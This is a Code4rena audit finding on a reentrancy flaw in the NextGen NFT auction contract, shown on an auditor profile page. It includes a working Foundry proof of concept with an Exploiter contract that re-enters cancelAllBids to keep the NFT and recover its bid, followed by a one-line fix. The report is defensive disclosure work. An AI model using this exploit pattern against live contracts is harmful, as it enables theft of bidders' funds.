NextGen - darksnow's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 208/243

Findings: 1

Award: $0.00

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
satisfactory
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L135

Vulnerability details

Impact

The claimAuction function transfers the ERC721 indexed by the given _tokenid to the highest bidder. However the safeTransferFrom() function has a callback mechanism which could be exploited to hijack the control flow. While transfering a ERC721 the onERC721Received() external function is invoked when the receiving address is a contract, allowing the attacker to re-enter the protocol's contract.

In this case an attacker can reenter cancelBid of cancelAllBids function to take back his bid after getting the NFT. If there is enough ETH in the contract (e.g. there are other running auctions) to pay the owner and refund other bidders the transaction will not revert.

Proof of Concept

The exploit is possible due to the require statements in the above mentioned functions.

In claimAuction:

require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && ...

In cancelBid and cancelAllBids:

require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

If we call the claimAuction function with exactly block.timestamp == minter.getAuctionEndTime(_tokenid) we can bypass the two require statements.

pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "forge-std/console2.sol";

import "../smart-contracts/AuctionDemo.sol";
import "../smart-contracts/ERC721.sol";

contract Audit is Test {
    function setUp() public {}

    function test_attack() public {
        // owner
        address owner = address(0x1);

        // bidders
        address addr1 = address(0x2);
        address addr2 = address(0x3);
        address addr3 = address(0x4);
        vm.deal(addr1, 10 ether);
        vm.deal(addr2, 10 ether);
        vm.deal(addr3, 10 ether);

        // attacker
        address attacker = address(0x5);
        vm.deal(attacker, 10 ether);

        vm.startPrank(owner, owner);
        MinterContract minter = new MinterContract();
        Gencore gencore = new Gencore("gencore", "GEN");
        AdminContract adminsContract = new AdminContract();
        auctionDemo auction = new auctionDemo(
            address(minter),
            address(gencore),
            address(adminsContract)
        );

        // set collection approval
        gencore.setApprovalForAll(address(auction), true);

        vm.startPrank(addr1, addr1);
        auction.participateToAuction{value: 1 ether}(0);
        auction.participateToAuction{value: 1 ether}(1);
        auction.participateToAuction{value: 1 ether}(2);

        vm.startPrank(addr2, addr2);
        auction.participateToAuction{value: 2 ether}(0);
        auction.participateToAuction{value: 2 ether}(1);
        auction.participateToAuction{value: 2 ether}(2);

        vm.startPrank(addr3, addr3);
        auction.participateToAuction{value: 3 ether}(0);
        auction.participateToAuction{value: 3 ether}(1);
        auction.participateToAuction{value: 3 ether}(2);

        vm.startPrank(attacker, attacker);
        Exploiter exploiter = new Exploiter(auction, gencore);
        exploiter.partecipate{value: 4 ether}(0);

        // warp to block.timestamp == minter.getAuctionEndTime(_tokenid)
        vm.warp(minter.getAuctionEndTime(0));

        exploiter.claimNFT(0);

        // auction has been claimed
        assert(auction.auctionClaim(0) == true);
        // attacker get the NFT
        assert(gencore.ownerOf(0) == attacker);
        // attacker get back his bid
        assert(attacker.balance == 10 ether);
        // other bidders get back their bids
        assert(addr1.balance == 8 ether);
        assert(addr2.balance == 6 ether);
        assert(addr3.balance == 4 ether);
        // owner get the value of the attacker bid
        assert(owner.balance == 4 ether);
    }
}

contract MinterContract {
    function getAuctionEndTime(uint256 _tokenid) public returns (uint256) {
        return 1 days;
    }

    function getAuctionStatus(uint256 _tokenid) public returns (bool) {
        return true;
    }
}

contract AdminContract {
    function retrieveFunctionAdmin(
        address _address,
        bytes4 _selector
    ) public view returns (bool) {
        return false;
    }

    function retrieveGlobalAdmin(address _address) public view returns (bool) {
        return false;
    }
}

contract Gencore is ERC721 {
    constructor(
        string memory _name,
        string memory _symbol
    ) ERC721(_name, _symbol) {
        _mint(msg.sender, 0);
        _mint(msg.sender, 1);
        _mint(msg.sender, 2);
    }
}

contract Exploiter is IERC721Receiver {
    address owner;
    auctionDemo auction;
    Gencore gencore;

    constructor(auctionDemo _auction, Gencore _gencore) {
        owner = msg.sender;
        auction = _auction;
        gencore = _gencore;
    }

    function partecipate(uint256 auctionId) public payable {
        auction.participateToAuction{value: msg.value}(auctionId);
    }

    function claimNFT(uint256 auctionId) public {
        auction.claimAuction(auctionId);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes memory data
    ) external returns (bytes4) {
        auction.cancelAllBids(tokenId);
        payable(owner).call{value: address(this).balance}("");
        gencore.transferFrom(address(this), owner, tokenId);
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

Tools Used

Manual review.

Use < instead of <= in the cancelBid and cancelAllBids functions.

require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-14T23:33:49Z

141345 marked the issue as duplicate of #962

#1 - c4-judge

2023-12-04T21:40:10Z

alex-ppg marked the issue as duplicate of #1323

#2 - c4-judge

2023-12-08T18:18:51Z

alex-ppg marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter